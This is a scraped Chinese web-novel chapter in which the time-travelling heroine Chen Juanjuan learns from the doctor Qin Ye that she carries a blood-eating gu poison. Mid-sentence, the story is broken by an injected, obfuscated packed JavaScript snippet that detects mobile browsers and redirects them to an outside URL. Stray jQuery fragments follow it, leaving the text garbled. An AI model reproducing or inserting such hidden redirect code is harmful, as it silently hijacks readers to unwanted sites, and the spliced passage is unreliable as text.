默认冷灰
24号文字
方正启体

13. 血蚀蛊

作者:旧玉米本书字数:K更新时间:
    当一个女人拥有了自己的事业,果然就没时间内耗那些儿女情长了。


    沈熹微近来打理自己的家产,每天风风火火脚不沾地,看得米虫陈涓涓十分欣慰。


    打工人的最高境界,就是老板努力打工养你。她在21世纪已经把这两辈子的工都打完了,今时今日能得到这些,都是应该的。


    没有人的配得感能高过陈涓涓这个女人。


    就连996的工作稍有不如她意,都会被她喷得狗血淋头。


    确诊体内有蛊的第二天晚上,陈涓涓就拿着5积分,打算跟996换2分钟顶级蛊师的能力。


    谁知竟被系统告知:21世纪的知识库里没有这个东西!


    陈涓涓勃然大怒,PUA话术手拿把掐:


    【其实,我对你是有些失望的。当初选你成为我的系统,是希望你能尽快努力成长起来的。实力不够,加班来凑啊!


    你现在的干劲是远远不如以前,你对自己的定位在哪里?对团队的贡献又在哪里?


    同龄系统都带出几个满值了,就你还在这里连宿主的命都保不住。你这么菜,晚上怎么睡得着觉?】


    996惭愧得差点想自爆了。


    陈涓涓得意:小样,跟我比PUA,你还嫩了点。怎么说老娘也是听这些话听了整整6年的。


    听到陈涓涓心声的996这才回过味来:


    【喂!你搞搞清楚!是我选了你不是你选了我,你赶紧死了拉倒,我下一个更乖!以后关于保你命的交换,老子统统都拒绝!】


    陈涓涓吐吐舌头,完了,把人得罪狠了,忘记它能听到自己心声了。


    这时候还怪想念小水的。


    嗯?等等,这句话996会不会听到?


    陈涓涓观察了一下,发现996并没有什么特殊反应。看来关于小水的一切,都已经被她做手脚屏蔽掉了。


    这个女人真是又谨慎又有能力啊,难怪能走修炼这条路。


    996果然不是一个坚定的盟友,并不关心她这个个体的命运,只关心她能给它带来多少福报。


    如果下定决心不回去了,还是尽早把它拔除为妙。


    唉,陈涓涓叹口气,先保住自己的小命,再努力想想怎么完成跟小水的交易吧!


    蛊毒像一把刀悬在陈涓涓头上,随时收割她的性命。


    沈熹微却干劲十足,管理铺子的生意,日子每天都很有盼头。哪怕自己很多时候不方便出府,也让玫儿一直在外替她奔走着。


    有时陈涓涓也奇怪:“都说士农工商,商是最低等的,你一个大家小姐怎么如此痴迷此道?”


    “这不是考不了科举当不成士吗,我若下场,哼,那些男子未必考得过我。再说了,赚钱哪分什么高低等,能做成就是我的本事。”


    沈熹微说完还骂她迂腐。


    来自21世纪的陈涓涓:……她这其实叫有色眼镜,没想到沈熹微作为土著,思想还是挺先进的。


    或许是陈涓涓命不该绝,瞌睡了就有人送枕头。


    今日玫儿从外面递了消息入府,说是神医谷的谷主——传说中能活死人肉白骨的秦烨大夫,游历到京中了。


    此番入京秦大夫放出了三个看诊名额,贫苦百姓也可,贵人也可。


    只一样,非疑难杂症不看。


    刚得了小姐吩咐,一直留意名医动向的杏和堂张掌柜,第一时间就去给陈涓涓报了名。


    没想到,走了大运,还真选上了!看诊时间就定在明日巳时,约了醉香楼天字一号雅间。


    沈熹微大喜过望,重赏了张掌柜,丰厚赏金足足抵他半年月银。


    底下人这回看得更清楚了,尽心替大小姐办事,大小姐定不会亏待了她们。


    翌日一早,沈熹微忙前忙后,也由不得陈涓涓睡懒觉,督促:“该准备的东西都准备好了吗?”


    陈涓涓迷糊劲儿还没过:“诶不是,我看病还要准备什么啊?有我这破烂身体不就够了吗?”


    “呸呸呸。”沈熹微瞪了她一眼,“见秦神医的机会难得,咱们可得把东西都备齐了。”


    之后,沈熹微如数家珍,给陈涓涓展示了她准备的东西:


    这几次府医写的脉案、开的方子、一匣子黄金,甚至还有她近几天擦鼻血的棉帕……


    这女的放现代肯定是个老私生饭,什么时候藏的这个啊啊啊!她不是都丢了吗!


    去醉香楼的马车上,沈熹微还逼着陈涓涓,仔仔细细记下她这几日流血的频次。


    陈涓涓写完,沈熹微还很是不满:“你这字,怕是要污了秦神医的眼。”


    陈涓涓怒了:“我当时写四方分析法的时候,你可不这么说!”


    沈熹微理都不理,直接夺过纸笔,自己誊抄了一遍,一笔一划写得端正漂亮。


    等她抄完,两人也终于到了醉香楼。


    王义跟着店小二去讲马车挺好,刘光和葵儿则护着她们上楼。


    为显尊重,几人已是提前了许多到场。没想到秦神医到得竟然比她们更早,一点传闻中的架子都没有。


    小二打开包厢门时,陈涓涓还看到了一个意料之外的人:“季长东?你怎么也在这?”


    “涓涓姑娘,好巧,没想到你也在这。”


    季长东浅笑吟吟,起身朝陈涓涓作了个揖,而后又朝其他人点点头。


    秦烨看着装模作样的继子似笑非笑,明明就为了这点醋才包了这盘饺子。


    打趣归打趣,到了关键时刻可不能给儿子拖后腿,得让这姑娘知道这小子有点实力背景才行。


    秦烨起身相迎,笑得一派和蔼可亲:“没想到你们竟然是旧相识,此乃在下继子,此番我游历京城,由他一路作陪。”


    沈熹微狐疑的眼神在几人身上打转:真有那么巧的事?


    这是她第一次瞧见季长东本人,虽然长得人模狗样,但就是觉得他贼贼的,像要偷她小鸡仔的黄鼠狼。


    刘光也觉得不对,看大小姐像是有所察觉,两人眼神对视了一番,彼此笃定。


    “那可真是太巧了!咱可别辜负了这段缘分。”陈涓涓没心没肺,大大咧咧挽起袖子,将手腕横在秦烨面前,“还请秦叔叔赶紧替我瞧瞧,这到底是个什么病症。”


    秦烨大笑,这姑娘确实是个妙人,也不推托,手指搭上了陈涓涓的脉。


    随着时间一点一点过去,秦烨脸上的笑容也渐渐淡了。


    撤开手去后,也不言语,只是陷入了沉思。


    沈熹微心下着急,把她准备的东西一一摆了出来,给秦神医参详,还指着那箱黄金道:


    “秦先生有何发现都尽可直言,不管什么重症需要什么灵药,熹微都一定会想办法的。”


    葵儿也紧张:“求秦神医救救我家小涓儿。”


    季长东嘴角绷着,默默倒了杯茶,推到秦烨面前。暗示他别卖关子有话快说。


    “几位莫要着急,容我再确认一下。不知涓涓姑娘平日除了流鼻血,可还有什么症状?”


    沈熹微忙接:“嗜睡算吗,每天都是睡到晌午。”


    陈涓涓:那是她熬夜熬的,大小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412357|200700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姐。


    “小涓儿后腰有巴掌大的红印子,像蝴蝶。”葵儿想起上次帮她换衣服时看到的,又补充:“有时还会晕倒,上回从湖里起来是足足晕了一个时辰。”


    陈涓涓:那是胎记,葵宝,晕倒跟这个也没关系。


    温润男声响起:“好像是天气闷热或者情绪激动的时候,更容易流鼻血。”


    陈涓涓:季长东怎么也来凑热闹?


    她直直望了过去,正好对上那人关切的眼神。


    唰,两行鼻血淌下,陈涓涓登时脸红了。


    好在没人关注到她脸色的异样,沈熹微一边给她擦一边附和季长东:


    “对对对,好像就是这样!之前天气还没热起来的时候,涓涓是没有这个病症的。”


    秦神医拿起她新鲜生产的血,仔细查看了一番,终于下了定论:“是血嗜蛊,这蛊在姑娘身上的年份应该不小了。”


    陈涓涓:真乃神医也!


    “怎么会这样,会是谁干的呢。”沈熹微面色惨白。


    这个问题就不是秦烨能回答的了,他只提醒了一句:“不知姑娘是否有得罪过西南那边来的人。”


    沈熹微几乎是立刻想到了万氏:“要得罪也是我得罪了,她怎么会对小涓儿动手呢。”


    此刻陈涓涓反而成了最淡定的那个:“什么仇什么怨可以慢慢再论,不知秦神医是否可以救我一命。”


    “蛊毒不是我擅长的。”秦烨摇了摇头。


    在场所有人心里都咯噔了一下。


    秦烨这才继续:“容我先去趟西南,回来以后就擅长了。”


    说话能不能不要大喘气阿喂!


    听秦神医话锋,竟是不辞千里也要救陈涓涓,沈熹微泪水涟涟,忙拉着陈涓涓给他行了郑重大礼:


    “此次是我们欠秦神医一个天大的人情,日后若有用得我们的地方,熹微定当义不容辞。”


    “行啦,快请起吧,这人情还轮不着你们来欠。”


    秦神医将人扶起,又拿出一瓶丹药:“我此去来回起码要月余,后面天气愈发炎热,涓涓姑娘的病症会更严重些,可先拿此药压一压。”


    几人又是千恩万谢,烦得秦神医直接送客:“长东,你先送她们下去吧,我稍作准备便启程。”


    季长东领着她们出门,一路相送到了马车边,手里竟还抱着那匣金子欲还给他们。


    这下连陈涓涓都慌了起来:“这是诊金,怎么能退呢!难道秦神医刚才是在诳我,根本治不了,所以才要退钱!”


    “涓涓姑娘莫急,秦伯父看疑难病症从来不收诊金。”季长东声音清润,带着安抚人心的暖意。


    见涓涓儿还有些疑虑,他又毒舌打趣:“老头子活到老学到老,按我说,他拿你学新医术还得给你交学费呢。”


    陈涓涓听乐了,这世上还是有配得感比她高的人的。


    沈熹微见两人你一句我一句,深深地看了季长东一眼:“多谢季公子了。”


    不管他抱着什么目的,这情,她沈熹微承了。


    据她所知,秦神医可从来没有什么看疑难杂症不收诊金的说法。


    不然怎么会有江湖传言称,神医谷的钱财足够使万鬼推磨呢。


    几人上了马车打道回府,季长东站在原地目送。


    “有件事刚刚不方便明说。”马车驶出一段距离,秦烨不知何时出现在了他身后。


    “从涓涓姑娘的脉象上看,蛊毒之深,应该活不到今日才对。”


    季长东没有言语,只静静看着沈府的马车渐行渐远。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)